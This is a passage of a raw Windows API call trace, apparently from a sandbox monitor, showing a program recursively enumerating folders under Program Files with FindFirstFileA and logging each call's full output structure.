out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9dd5720, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dd5720, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.228] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9dd5720, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dd5720, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.232] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9dd5720, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dd5720, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.238] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9dd5720, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dd5720, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.249] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9dfb880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dfb880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.250] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9dfb880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dfb880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.253] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9dfb880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dfb880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.257] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9e219e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e219e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.261] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9e219e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e219e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.264] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9e219e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e219e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.268] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e219e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e219e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.270] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e47b40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e47b40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.273] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e47b40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e47b40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.276] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9e47b40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e47b40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.287] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9e6dca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e6dca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.290] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e6dca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e6dca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e6dca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e6dca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.295] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e6dca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e6dca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.299] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9e6dca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e6dca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.307] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9e93e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e93e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.310] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e93e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e93e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.311] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e93e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e93e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.314] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9e93e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9e93e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.318] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9eb9f60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9eb9f60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.320] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9eb9f60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9eb9f60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.323] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9eb9f60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9eb9f60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.331] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9eb9f60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9eb9f60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.336] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9ee00c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ee00c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.337] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9ee00c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ee00c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.342] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9ee00c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ee00c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.347] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ee00c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ee00c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.351] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9f06220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f06220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.357] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9f06220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f06220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.399] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9f78640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f78640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.400] GetFileType (hFile=0x78) returned 0x1 [0065.401] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\*", lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc9f78640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f78640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42e010, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.402] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f78640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f78640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0065.403] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f78640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f78640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.405] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f78640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f78640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.407] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f78640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f78640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.411] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f9e7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f9e7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.413] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f9e7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f9e7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.417] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc9f9e7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9f9e7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.419] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, 